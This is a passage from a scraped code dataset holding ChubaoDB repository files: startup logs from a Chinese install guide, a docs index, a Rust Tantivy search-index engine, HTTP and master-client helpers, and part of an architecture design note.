actix_server::builder(262) - Starting 8 workers\n2020-07-15 11:05:39 - INFO - chubaodb::util::http_client(21) - send get for url:http://127.0.0.1:7070/my_ip\n2020-07-15 11:05:39 - INFO - surf::middleware::logger::native(119) - sending request\n2020-07-15 11:05:39 - INFO - actix_server::builder(276) - Starting \"actix-web-service-0.0.0.0:8080\" service on 0.0.0.0:8080\n2020-07-15 11:05:39 - WARN - isahc::handler(209) - request completed with error [id=AtomicCell { value: 0 }]: ConnectFailed: failed to connect to the server\n2020-07-15 11:05:39 - ERROR - chubaodb::pserver::server(41) - got ip from master has err:Error(InternalErr, \"ConnectFailed: failed to connect to the server\")\n2020-07-15 11:05:39 - INFO - chubaodb::master::server(43) - master listening on http://0.0.0.0:7070\n2020-07-15 11:05:39 - INFO - actix_server::builder(262) - Starting 8 workers\n2020-07-15 11:05:39 - INFO - actix_server::builder(276) - Starting \"actix-web-service-0.0.0.0:7070\" service on 0.0.0.0:7070\n2020-07-15 11:05:40 - INFO - chubaodb::util::http_client(21) - send get for url:http://127.0.0.1:7070/my_ip\n2020-07-15 11:05:40 - INFO - surf::middleware::logger::native(119) - sending request\n2020-07-15 11:05:40 - INFO - chubaodb::master::server(440) - success_response [Object({\"ip\": String(\"127.0.0.1\")})]\n2020-07-15 11:05:40 - INFO - surf::middleware::logger::native(119) - request completed\n2020-07-15 11:05:40 - INFO - chubaodb::pserver::server(36) - got my ip:127.0.0.1 from master\n2020-07-15 11:05:40 - INFO - chubaodb::util::http_client(51) - send post for url:http://127.0.0.1:7070/pserver/register\n2020-07-15 11:05:40 - INFO - surf::middleware::logger::native(119) - sending request\n2020-07-15 11:05:40 - INFO - chubaodb::master::server(301) - prepare to heartbeat with address 127.0.0.1:9090, zone default\n2020-07-15 11:05:40 - INFO - chubaodb::master::server(440) - success_response [PServer { id: Some(1), addr: \"127.0.0.1:9090\", write_partitions: [], zone: \"default\", modify_time: 0 }]\n2020-07-15 11:05:40 - INFO - surf::middleware::logger::native(119) - request completed\n2020-07-15 11:05:40 - INFO - chubaodb::pserver::service(111) - register to master ok: node_id:Some(1) \n2020-07-15 11:05:40 - INFO - chubaodb::pserver::service(126) - register server line:PServer { id: Some(1), addr: \"127.0.0.1:9090\", write_partitions: [], zone: \"default\", modify_time: 0 }\n2020-07-15 11:05:40 - INFO - chubaodb::pserver::server(59) - init pserver OK use time:Ok(5.333ms)\n````\n\n* 比如我们只启动 router 那么就是. `./chubaodb router -c ../../config/config.toml` .\n\n````\n(base) ➜ release git:(async-std) ✗ ./chubaodb router -c ../../config/config.toml\nload config by path: ../../config/config.toml\n2020-07-15 11:01:59 - INFO - chubaodb::util::config(189) - log init ok \n2020-07-15 11:01:59 - INFO - chubaodb(149) - All ChubaoDB servers were started successfully!\n2020-07-15 11:01:59 - INFO - chubaodb::router::server(29) - router is listening on http://0.0.0.0:8080\n2020-07-15 11:01:59 - INFO - actix_server::builder(262) - Starting 8 workers\n2020-07-15 11:01:59 - INFO - actix_server::builder(276) - Starting \"actix-web-service-0.0.0.0:8080\" service on 0.0.0.0:8080\n````\n\n* 比如我们只启动 master 那么就是. `./chubaodb master -c ../../config/config.toml` .\n\n````\nload config by path: ../../config/config.toml\n2020-07-15 11:03:11 - INFO - chubaodb::util::config(189) - log init ok \n2020-07-15 11:03:11 - INFO - chubaodb(149) - All ChubaoDB servers were started successfully!\n2020-07-15 11:03:11 - INFO - chubaodb::master::server(43) - master listening on http://0.0.0.0:7070\n2020-07-15 11:03:11 - INFO - actix_server::builder(262) - Starting 8 workers\n2020-07-15 11:03:11 - INFO - actix_server::builder(276) - Starting \"actix-web-service-0.0.0.0:7070\" service on 0.0.0.0:7070\n^C2020-07-15 11:03:12 - INFO - actix_server::builder(321) - SIGINT received, exiting\n````\n\n\n* 比如我们只启动 pserver 那么就是. `./chubaodb ps -c ../../config/config.toml` . ps会通过你配置文件中master的配置自动去master 注册为数据节点\n\n````\nload config by path: ../../config/config.toml\n2020-07-15 11:03:45 - INFO - chubaodb::util::config(189) - log init ok \n2020-07-15 11:03:45 - INFO - chubaodb(149) - All ChubaoDB servers were started successfully!\n2020-07-15 11:03:45 - INFO - chubaodb::util::http_client(21) - send get for url:http://127.0.0.1:7070/my_ip\n2020-07-15 11:03:45 - INFO - surf::middleware::logger::native(119) - sending request\n2020-07-15 11:03:45 - WARN - isahc::handler(209) - request completed with error [id=AtomicCell { value: 0 }]: ConnectFailed: failed to connect to the server\n````\n\n" }, { "alpha_fraction": 0.5054945349693298, "alphanum_fraction": 0.5054945349693298, "avg_line_length": 21.75, "blob_id": "d621ee61e350115407acc3888fb02028af711bc9", "content_id": "3757e450946930ac67f95e36945d9db981c5ca49", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 444, "license_type": "permissive", "max_line_length": 29, "num_lines": 16, "path": "/docs/zh-CN/src/SUMMARY.md", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "# Summary\n\n- [介绍](./introduction.md)\n- [编译与安装](./install.md)\n - [配置文件](./config.md)\n - [集群模式](./cluster.md)\n- [元数据管理](./master.md)\n - [库表管理](./collection.md)\n- [数据操作](./document.md)\n - [CRUD](./crud.md)\n - [搜索](./search.md)\n - [聚合](./aggregation.md)\n - [向量](./vector.md)\n- [设计](./design.md)\n - [架构](./architecture.md)\n - [计划](./plan.md)\n" }, { "alpha_fraction": 0.4440714418888092, "alphanum_fraction": 0.4502931833267212, "avg_line_length": 33.16054916381836, "blob_id": "52ef2a699a6db0c3805d1382c50c692779fb6aa6", "content_id": "82fe0c4f22227b135f5cacad792ef7fc3c51c372", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 22341, "license_type": "permissive", "max_line_length": 120, "num_lines": 654, "path": "/src/pserver/simba/engine/tantivy/mod.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nmod aggregation_collector;\npub mod bitmap_collector;\npub mod sort;\n\nuse crate::pserver::simba::aggregation::Aggregator;\nuse crate::pserver::simba::engine::{\n engine::{BaseEngine, Engine},\n rocksdb::RocksDB,\n};\nuse crate::pserverpb::*;\nuse crate::util::coding::{\n f32_slice, iid_coding,\n sort_coding::{f64_arr_coding, i64_arr_coding, str_arr_coding},\n};\nuse crate::util::{\n convert::*,\n entity::{Field::*, ID_BYTES},\n error::*,\n};\nuse crate::*;\nuse chrono::prelude::*;\nuse log::{debug, error, info, warn};\nuse roaring::RoaringBitmap;\nuse std::convert::TryInto;\nuse std::{\n fs,\n ops::Deref,\n path::Path,\n sync::{\n atomic::{AtomicU32, Ordering::SeqCst},\n mpsc::{channel, Receiver, Sender},\n Arc, Mutex, RwLock,\n },\n time::SystemTime,\n};\nuse tantivy::{\n collector::{Count, MultiCollector, TopDocs},\n directory::MmapDirectory,\n query::{QueryParser, TermQuery},\n schema,\n schema::{Field, FieldType, FieldValue, IndexRecordOption, Schema, Value},\n Document, Index, IndexReader, IndexWriter, ReloadPolicy, Term,\n};\n\nconst INDEXER_MEMORY_SIZE: usize = 1_000_000_000;\nconst INDEXER_THREAD: usize = 1;\nconst ID: &'static str = \"_iid\";\nconst ID_INDEX: u32 = 0;\nconst ID_BYTES_INDEX: u32 = 1;\nconst INDEX_DIR_NAME: &'static str = \"index\";\n\npub enum Event {\n Delete(u32),\n // Update(old_iid , new_iid)\n Update(u32, u32),\n Stop,\n}\n\npub struct Tantivy {\n base: Arc<BaseEngine>,\n index: Index,\n index_writer: RwLock<IndexWriter>,\n index_reader: IndexReader,\n field_num: usize,\n db: Arc<RocksDB>,\n tx: Mutex<Sender<Event>>,\n status: AtomicU32,\n}\n\nimpl Deref for Tantivy {\n type Target = Arc<BaseEngine>;\n fn deref<'a>(&'a self) -> &'a Arc<BaseEngine> {\n &self.base\n }\n}\n\nimpl Tantivy {\n pub fn new(db: Arc<RocksDB>, base: Arc<BaseEngine>) -> ASResult<Arc<Tantivy>> {\n let now = SystemTime::now();\n\n let mut schema_builder = Schema::builder();\n schema_builder.add_i64_field(ID, schema::IntOptions::default().set_indexed());\n schema_builder.add_bytes_field(ID_BYTES); //if you want put default filed mut modify validate method - 2 in code\n\n for i in base.collection.scalar_field_index.iter() {\n let field = &base.collection.fields[*i as usize];\n\n let name = field.name();\n\n match field {\n int(_) => {\n schema_builder.add_i64_field(name, schema::IntOptions::default().set_indexed());\n }\n float(_) => {\n schema_builder.add_f64_field(name, schema::IntOptions::default().set_indexed());\n }\n string(_) => {\n schema_builder.add_text_field(name, schema::STRING);\n }\n text(_) => {\n schema_builder.add_text_field(name, schema::TEXT);\n }\n date(_) => {\n schema_builder\n .add_date_field(name, schema::IntOptions::default().set_indexed());\n }\n _ => return result_def!(\"thie type:{:?} can not make index\", field),\n }\n\n if field.value() {\n schema_builder.add_bytes_field(Self::value_field_format(name).as_str());\n }\n }\n\n let schema = schema_builder.build();\n let field_num = schema.fields().count();\n\n let index_dir = base.base_path().join(Path::new(INDEX_DIR_NAME));\n if !index_dir.exists() {\n fs::create_dir_all(&index_dir)?;\n }\n\n let index = conver(Index::open_or_create::<MmapDirectory>(\n MmapDirectory::open(index_dir.to_str().unwrap())?,\n schema,\n ))?;\n\n let index_writer = index\n .writer_with_num_threads(INDEXER_THREAD, INDEXER_MEMORY_SIZE)\n .unwrap();\n\n let index_reader = index\n .reader_builder()\n .reload_policy(ReloadPolicy::OnCommit)\n .try_into()\n .unwrap();\n\n let (tx, rx) = channel::<Event>();\n\n db.arc_count.fetch_add(1, SeqCst);\n let tantivy = Arc::new(Tantivy {\n base,\n index,\n index_writer: RwLock::new(index_writer),\n index_reader,\n field_num,\n db,\n tx: Mutex::new(tx),\n status: AtomicU32::new(0),\n });\n\n Tantivy::start_job(tantivy.clone(), rx);\n\n info!(\n \"init index by collection:{} partition:{} success , use time:{:?} \",\n tantivy.collection.id,\n tantivy.partition.id,\n SystemTime::now().duration_since(now).unwrap().as_millis(),\n );\n\n Ok(tantivy)\n }\n\n pub fn value_field_format(name: &str) -> String {\n if name == ID_BYTES {\n return String::from(ID_BYTES);\n }\n format!(\"__{}\", name)\n }\n\n pub fn release(&self) {\n warn!(\"partition:{} index released\", self.partition.id);\n }\n\n pub fn count(&self) -> ASResult<u64> {\n let searcher = self.index_reader.searcher();\n let mut sum = 0;\n for sr in searcher.segment_readers() {\n sum += sr.num_docs() as u64;\n }\n Ok(sum)\n }\n\n pub fn filter(&self, sdr: Arc<QueryRequest>) -> ASResult<(Option<RoaringBitmap>, u64)> {\n if sdr.query == \"*\" {\n return Ok((None, self.count()?));\n }\n\n self.check_index()?;\n let searcher = self.index_reader.searcher();\n let query_parser = QueryParser::for_index(\n &self.index,\n sdr.def_fields\n .iter()\n .map(|s| self.index.schema().get_field(s).unwrap())\n .collect(),\n );\n let q = conver(query_parser.parse_query(sdr.query.as_str()))?;\n let result = conver(searcher.search(&q, &bitmap_collector::Bitmap))?;\n let len = result.len();\n Ok((Some(result), len))\n }\n\n pub fn agg(&self, sdr: Arc<QueryRequest>) -> ASResult<AggregationResponse> {\n self.check_index()?;\n let searcher = self.index_reader.searcher();\n let query_parser = QueryParser::for_index(\n &self.index,\n sdr.def_fields\n .iter()\n .map(|s| self.index.schema().get_field(s).unwrap())\n .collect(),\n );\n let q = conver(query_parser.parse_query(sdr.query.as_str()))?;\n\n let agg = Aggregator::new(\n &self.collection,\n sdr.size as usize,\n sdr.group.as_str(),\n sdr.fun.as_str(),\n )?;\n\n let schema = self.index.schema();\n\n let mut group_fields = Vec::with_capacity(agg.groups.len());\n for g in agg.groups.iter() {\n let field = schema\n .get_field(Self::value_field_format(g.name()).as_str())\n .ok_or_else(|| err!(Code::ParamError, \"not found field:{} by group\", g.name()))?;\n group_fields.push(field);\n }\n\n let mut fun_fields = Vec::with_capacity(agg.functions.len());\n for f in agg.functions.iter() {\n let field = schema\n .get_field(Self::value_field_format(f.name()).as_str())\n .ok_or_else(|| err!(Code::ParamError, \"not found field:{} by fun\", f.name()))?;\n fun_fields.push(field);\n }\n\n let agg = Arc::new(RwLock::new(agg));\n\n let collector =\n aggregation_collector::Aggregation::new(\"-\", agg.clone(), group_fields, fun_fields);\n\n conver(searcher.search(&q, &collector))?;\n let count = agg.read().unwrap().count;\n\n let result = agg.write().unwrap().make_vec(&sdr, &self.db)?;\n\n Ok(AggregationResponse {\n code: Code::Success as i32,\n total: count,\n size: result.len() as u32,\n info: None,\n result: result,\n })\n }\n\n pub fn query(&self, sdr: Arc<QueryRequest>) -> ASResult<SearchDocumentResponse> {\n self.check_index()?;\n let searcher = self.index_reader.searcher();\n let schema = self.index.schema();\n let query_parser = QueryParser::for_index(\n &self.index,\n sdr.def_fields\n .iter()\n .map(|s| schema.get_field(s).unwrap())\n .collect(),\n );\n let size = sdr.size as usize;\n let q = conver(query_parser.parse_query(sdr.query.as_str()))?;\n\n let sort_len = sdr.sort.len() > 0;\n\n let mut collectors = MultiCollector::new();\n\n let sort_top_docs_handle = if sort_len {\n let mut field_sorts = sort::FieldSorts::new(sdr.sort.len());\n for s in &sdr.sort {\n let schema_field = schema.get_field(&s.name).ok_or_else(|| {\n err!(Code::FieldTypeErr, \"order by field:{:?} not found\", s.name)\n })?;\n\n let signed = match schema.get_field_entry(schema_field).field_type() {\n FieldType::I64(_) | FieldType::Date(_) => true,\n _ => false,\n };\n\n field_sorts.push(\n Field::from_field_id(schema_field.field_id() + 1),\n s.order.eq_ignore_ascii_case(\"asc\"),\n signed,\n );\n }\n Some(collectors.add_collector(TopDocs::with_limit(size).custom_score(field_sorts)))\n } else {\n None\n };\n\n let score_top_docs_handle = if !sort_len {\n Some(collectors.add_collector(TopDocs::with_limit(size)))\n } else {\n None\n };\n\n let count_handle = collectors.add_collector(Count);\n\n let search_start = SystemTime::now();\n let mut multi_fruit = conver(searcher.search(&q, &collectors))?;\n\n let count = count_handle.extract(&mut multi_fruit);\n\n let mut sdr = SearchDocumentResponse {\n code: Code::Success as i32,\n total: count as u64,\n hits: Vec::with_capacity(size),\n info: None, //if this is none means it is success\n };\n\n if let Some(top_docs_handle) = sort_top_docs_handle {\n let top_docs = top_docs_handle.extract(&mut multi_fruit);\n\n for (score, doc_address) in top_docs {\n let bytes_reader = searcher\n .segment_reader(doc_address.0)\n .fast_fields()\n .bytes(Field::from_field_id(ID_BYTES_INDEX))\n .unwrap();\n let doc = bytes_reader.get_bytes(doc_address.1);\n sdr.hits.push(Hit {\n collection_name: self.collection.name.to_string(),\n score: 1.0,\n doc: doc.to_vec(),\n sort: score.fields,\n });\n }\n } else {\n let top_docs = score_top_docs_handle.unwrap().extract(&mut multi_fruit);\n\n for (score, doc_address) in top_docs {\n let bytes_reader = searcher\n .segment_reader(doc_address.0)\n .fast_fields()\n .bytes(Field::from_field_id(ID_BYTES_INDEX))\n .unwrap();\n let doc = bytes_reader.get_bytes(doc_address.1);\n sdr.hits.push(Hit {\n collection_name: self.collection.name.to_string(),\n score: score,\n doc: doc.to_vec(),\n sort: vec![f32_slice(score)[..].to_vec()],\n });\n }\n }\n\n let search_finish = SystemTime::now();\n debug!(\n \"search: merge result: cost({:?}ms)\",\n search_finish\n .duration_since(search_start)\n .unwrap()\n .as_millis()\n );\n\n Ok(sdr)\n }\n\n pub fn exist(&self, iid: u32) -> ASResult<bool> {\n let searcher = self.index_reader.searcher();\n let query = TermQuery::new(\n Term::from_field_i64(Field::from_field_id(ID_INDEX), iid as i64),\n IndexRecordOption::Basic,\n );\n let td = TopDocs::with_limit(1);\n let result = conver(searcher.search(&query, &td))?;\n return Ok(result.len() > 0);\n }\n\n pub fn start_job(index: Arc<Tantivy>, receiver: Receiver<Event>) {\n std::thread::spawn(move || {\n let (cid, pid) = (index.base.collection.id, index.base.partition.id);\n Tantivy::index_job(index, receiver);\n warn!(\"collection:{} partition:{} stop index job \", cid, pid);\n });\n }\n\n pub fn index_job(index: Arc<Tantivy>, rx: Receiver<Event>) {\n loop {\n let e = rx.recv();\n\n if e.is_err() {\n error!(\"revice err form index channel:{:?}\", e.err());\n if index.base.runing() {\n continue;\n } else {\n return;\n }\n }\n\n let (old_iid, iid) = match e.unwrap() {\n Event::Delete(iid) => (iid, 0),\n Event::Update(old_iid, iid) => (old_iid, iid),\n Event::Stop => {\n warn!(\"reviced stop event to stod index loop\");\n return;\n }\n };\n\n if iid == 0 {\n if old_iid > 0 {\n if let Err(e) = index._delete(old_iid) {\n error!(\"delete:{} has err:{:?}\", old_iid, e);\n }\n }\n } else {\n match index.db.get_doc_by_id(iid_coding(iid)) {\n Ok(v) => match v {\n Some(v) => {\n if let Err(e) = index._create(old_iid, iid, v) {\n error!(\"index values has err:{:?}\", e);\n }\n }\n None => error!(\"not found doc by id:{}\", iid),\n },\n Err(e) => {\n error!(\"index get doc by db has err:{:?}\", e);\n }\n }\n }\n\n // set status to zero flush will check this value\n index.status.store(0, SeqCst);\n }\n }\n\n pub fn write(&self, event: Event) -> ASResult<()> {\n conver(self.tx.lock().unwrap().send(event))\n }\n\n fn _delete(&self, iid: u32) -> ASResult<()> {\n self.check_index()?;\n let ops = self\n .index_writer\n .read()\n .unwrap()\n .delete_term(Term::from_field_i64(Field::from_field_id(0), iid as i64));\n\n debug!(\"delete id:{} result:{:?}\", iid, ops);\n Ok(())\n }\n\n fn _create(&self, old_iid: u32, iid: u32, value: Vec<u8>) -> ASResult<()> {\n self.check_index()?;\n let pbdoc: crate::pserverpb::Document =\n prost::Message::decode(prost::bytes::Bytes::from(value))?;\n\n let mut doc = Document::default();\n\n doc.add_i64(Field::from_field_id(ID_INDEX), iid as i64);\n doc.add_bytes(\n Field::from_field_id(ID_BYTES_INDEX),\n iid_coding(iid).to_vec(),\n );\n\n let source: serde_json::Value = serde_json::from_slice(pbdoc.source.as_slice())?;\n\n let mut flag: bool = false;\n\n for index in self.collection.scalar_field_index.iter() {\n let field = &self.collection.fields[*index];\n\n let v = &source[field.name()];\n if v.is_null() {\n if field.none() {\n continue;\n }\n return result!(Code::ParamError, \"field:{} can not be none\", field.name());\n }\n let schema = self.index.schema();\n let field_index = schema.get_field(field.name()).unwrap();\n\n let is_value = field.value();\n\n if field.array() {\n let values = v.as_array().unwrap();\n for a in values {\n let v = match field {\n string(_) | text(_) => Value::Str(json(a)?.try_into()?),\n int(_) => Value::I64(json(a)?.try_into()?),\n date(_) => {\n let naive: NaiveDateTime = json(a)?.try_into()?;\n Value::Date(DateTime::from_utc(naive, Utc))\n }\n float(_) => Value::F64(json(a)?.try_into()?),\n _ => {\n return result!(\n Code::FieldTypeErr,\n \"not support this type :{:?}\",\n field,\n )\n }\n };\n\n doc.add(FieldValue::new(field_index, v));\n }\n\n if is_value {\n match field {\n string(_) | text(_) => {\n let mut strs = vec![];\n for s in values {\n strs.push(json(s)?.try_into()?);\n }\n doc.add_bytes(\n Field::from_field_id(field_index.field_id() + 1),\n str_arr_coding(&strs),\n );\n }\n\n int(_) => {\n let mut is = vec![];\n for s in values {\n is.push(json(s)?.try_into()?);\n }\n doc.add_bytes(\n Field::from_field_id(field_index.field_id() + 1),\n i64_arr_coding(&is),\n );\n }\n\n float(_) => {\n let mut fs = vec![];\n for s in values {\n fs.push(json(s)?.try_into()?);\n }\n doc.add_bytes(\n Field::from_field_id(field_index.field_id() + 1),\n f64_arr_coding(&fs),\n );\n }\n _ => {\n return result!(\n Code::FieldTypeErr,\n \"not support value by this type :{:?}\",\n field,\n )\n }\n }\n }\n } else {\n let v = match field {\n string(_) | text(_) => {\n let str: String = json(v)?.try_into()?;\n if is_value {\n doc.add_bytes(\n Field::from_field_id(field_index.field_id() + 1),\n str.as_bytes().to_vec(),\n );\n }\n Value::Str(str)\n }\n int(_) => {\n let value: i64 = json(v)?.try_into()?;\n if is_value {\n doc.add_bytes(\n Field::from_field_id(field_index.field_id() + 1),\n value.to_be_bytes().to_vec(),\n );\n }\n Value::I64(value)\n }\n date(_) => {\n let naive: NaiveDateTime = json(v)?.try_into()?;\n if is_value {\n doc.add_bytes(\n Field::from_field_id(field_index.field_id() + 1),\n naive.timestamp_millis().to_be_bytes().to_vec(),\n );\n }\n Value::Date(DateTime::from_utc(naive, Utc))\n }\n float(_) => {\n let value: f64 = json(v)?.try_into()?;\n if is_value {\n doc.add_bytes(\n Field::from_field_id(field_index.field_id() + 1),\n value.to_be_bytes().to_vec(),\n );\n }\n Value::F64(value)\n }\n _ => return result!(Code::FieldTypeErr, \"not support this type :{:?}\", field,),\n };\n\n doc.add(FieldValue::new(field_index, v));\n }\n\n flag = true;\n }\n let writer = self.index_writer.write().unwrap();\n if old_iid > 0 {\n writer.delete_term(Term::from_field_i64(\n Field::from_field_id(ID_INDEX),\n old_iid as i64,\n ));\n }\n if flag {\n writer.add_document(doc);\n }\n\n Ok(())\n }\n\n pub fn check_index(&self) -> ASResult<()> {\n if self.field_num <= 2 {\n return result!(Code::SpaceNoIndex, \"space no index\");\n }\n Ok(())\n }\n}\n\nimpl Engine for Tantivy {\n fn flush(&self) -> ASResult<()> {\n if self.status.fetch_add(1, SeqCst) > 10 {\n return Ok(());\n }\n conver(self.index_writer.write().unwrap().commit())?;\n Ok(())\n }\n\n fn release(&self) {\n info!(\n \"the collection:{} , partition:{} to release\",\n self.partition.collection_id, self.partition.id\n );\n if let Err(e) = self.flush() {\n error!(\"flush engine has err:{:?}\", e);\n }\n }\n}\n" }, { "alpha_fraction": 0.5688202381134033, "alphanum_fraction": 0.5814606547355652, "avg_line_length": 32.505882263183594, "blob_id": "646d2de3a31d532121979a7e2cedff23f345c69e", "content_id": "3210d5225510e315fea731e15e882767569ebb34", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 2848, "license_type": "permissive", "max_line_length": 98, "num_lines": 85, "path": "/src/util/http_client.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse crate::util::error::*;\nuse crate::*;\nuse async_std::future;\nuse log::info;\nuse std::time::Duration;\n\npub async fn get_json<V: serde::de::DeserializeOwned>(url: &str, m_timeout: u64) -> ASResult<V> {\n info!(\"send get for url:{}\", url);\n\n let mut resp = match future::timeout(Duration::from_millis(m_timeout), surf::get(url)).await {\n Err(e) => return result!(Code::Timeout, e.to_string()),\n Ok(resp) => conver(resp)?,\n };\n\n let http_code = resp.status().as_u16();\n if http_code != 200 {\n //try genererr\n let text = conver(resp.body_string().await)?;\n if let Ok(value) = serde_json::from_str::<serde_json::Value>(text.as_str()) {\n if let Some(code) = value.get(\"code\") {\n if let Some(message) = value.get(\"message\") {\n return result!(code.as_u64().unwrap() as i32, message.to_string());\n };\n };\n };\n\n return result!(http_code as i32, text);\n }\n\n Ok(resp.body_json::<V>().await?)\n}\n\npub async fn post_json<T, V>(url: &str, m_timeout: u64, obj: &T) -> ASResult<V>\nwhere\n T: serde::Serialize + ?Sized,\n V: serde::de::DeserializeOwned,\n{\n info!(\"send post for url:{}\", url);\n\n let mut resp = match future::timeout(\n Duration::from_millis(m_timeout),\n surf::post(url).body_json(&obj).unwrap(),\n )\n .await\n {\n Err(e) => return result!(Code::Timeout, e.to_string()),\n Ok(resp) => conver(resp)?,\n };\n\n let http_code = resp.status().as_u16();\n if http_code != 200 {\n //try genererr\n let text = conver(resp.body_string().await)?;\n if let Ok(value) = serde_json::from_str::<serde_json::Value>(text.as_str()) {\n if let Some(code) = value.get(\"code\") {\n if let Some(message) = value.get(\"message\") {\n return result!(code.as_i64().unwrap() as i32, message.to_string());\n };\n };\n };\n return result!(http_code as i32, text);\n }\n\n Ok(conver(resp.body_json::<V>().await)?)\n}\n\n// fn client_tout(timeout: u64) -> reqwest::Client {\n// reqwest::Client::builder()\n// .timeout(Duration::from_millis(timeout))\n// .build()\n// .unwrap()\n// }\n" }, { "alpha_fraction": 0.5717081427574158, "alphanum_fraction": 0.5786972045898438, "avg_line_length": 33.06666564941406, "blob_id": "ac335630412b7b09f080bf1b255b6f0140d9d062", "content_id": "ede74bb9f516041eb762d49a2e36617f8d05fb9b", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 3577, "license_type": "permissive", "max_line_length": 96, "num_lines": 105, "path": "/src/client/meta_client.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse crate::util::{config::*, entity::*, error::*, http_client};\nuse crate::*;\nuse std::str;\nuse std::sync::Arc;\n\nconst DEF_TIME_OUT: u64 = 30000;\n\npub struct MetaClient {\n conf: Arc<Config>,\n}\n\nimpl MetaClient {\n pub fn new(conf: Arc<Config>) -> Self {\n MetaClient { conf }\n }\n\n pub async fn my_ip(&self) -> ASResult<String> {\n let url = format!(\"http://{}/my_ip\", self.conf.master_addr());\n let value: serde_json::Value = http_client::get_json(&url, DEF_TIME_OUT).await?;\n\n match value.get(\"ip\") {\n Some(ip) => Ok(ip.as_str().unwrap().to_string()),\n None => result_def!(\"got ip from master:{} is no ip\", url),\n }\n }\n\n pub async fn put_pserver(&self, pserver: &PServer) -> ASResult<()> {\n let url = format!(\"http://{}/pserver/put\", self.conf.master_addr());\n let _: PServer = http_client::post_json(&url, DEF_TIME_OUT, pserver).await?;\n Ok(())\n }\n\n pub async fn register(&self, ip: &str, port: u32) -> ASResult<PServer> {\n let url = format!(\"http://{}/pserver/register\", self.conf.master_addr());\n let pserver = PServer::new(self.conf.ps.zone.clone(), None, format!(\"{}:{}\", ip, port));\n http_client::post_json(&url, DEF_TIME_OUT, &pserver).await\n }\n\n pub async fn get_partition(\n &self,\n collection_id: u32,\n partition_id: u32,\n ) -> ASResult<Partition> {\n let url = format!(\n \"http://{}/partition/get/{}/{}\",\n self.conf.master_addr(),\n collection_id,\n partition_id\n );\n\n http_client::get_json(&url, DEF_TIME_OUT).await\n }\n\n pub async fn update_partition(&self, partition: &Partition) -> ASResult<()> {\n let url = format!(\n \"http://{}/collection/partition/update\",\n self.conf.master_addr(),\n );\n\n http_client::post_json(&url, DEF_TIME_OUT, partition).await\n }\n\n pub async fn get_collection(&self, name: &str) -> ASResult<Collection> {\n let url = format!(\"http://{}/collection/get/{}\", self.conf.master_addr(), name);\n\n http_client::get_json(&url, DEF_TIME_OUT).await\n }\n\n pub async fn get_collection_by_id(&self, collection_id: u32) -> ASResult<Collection> {\n let url = format!(\n \"http://{}/collection/get_by_id/{}\",\n self.conf.master_addr(),\n collection_id,\n );\n\n http_client::get_json(&url, DEF_TIME_OUT).await\n }\n\n pub async fn get_server_addr_by_id(&self, server_id: u64) -> ASResult<String> {\n let url = format!(\n \"http://{}/pserver/get_addr_by_id/{}\",\n self.conf.master_addr(),\n server_id,\n );\n let value: serde_json::Value = http_client::get_json(&url, DEF_TIME_OUT).await?;\n\n match value.get(\"addr\") {\n Some(addr) => Ok(addr.as_str().unwrap().to_string()),\n None => result_def!(\"got addr from master:{} is no addr\", url),\n }\n }\n}\n" }, { "alpha_fraction": 0.7701355218887329, "alphanum_fraction": 0.7757606506347656, "avg_line_length": 22.548192977905273, "blob_id": "39e43fb45169aab67a65cd6653a25d802bd104a3", "content_id": "64842919c4c97ef498c5162949d119d15a7a5bc0", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3911, "license_type": "permissive", "max_line_length": 223, "num_lines": 166, "path": "/docs/architecture.md", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "# ChubaoDB internals and design choices\n\nThis draft explains the inner workings of ChubaoDB, as well as some key design decisions we made. \n\n## data model\n\ncollection, document, field\n\nrecognize the presence of two primary forms of structured data: nested entities and independent entities\n\ndockey = (hashkey:string, sortkey:string), sortkey is optional, dockey -> document\n\nso chubaodb can support documents, sparse big tables, and even graphs.\n\nfield data types: integer, float, string, vector, etc; and fields can be indexed.\n\n\n## distributed architecture\n\nA ChubaoDB cluster is usually deployed to multiple (usually three) availability zones.\nCross-zone replication provides higher availability, higher durability, and resilience in the face of zonal failures. \n\nmaster, partition server, router\n\npartitions work as the replication unit, and a PS hosts one or multiple partition replicas.\n\nPartition -> Simba\n\nwe leverage Chubaofs as the storage infrastructure to seperate compute from storage for more flexible resource scheduling, and faster failover or partition transfer\n\ndirectory structure on a CFS instance: \n\ncluster-id/collections/collection-id/partition-id/datafiles\n\ntwo options: \n1, one CFS per zone - transparent DISC; \n2, CFS 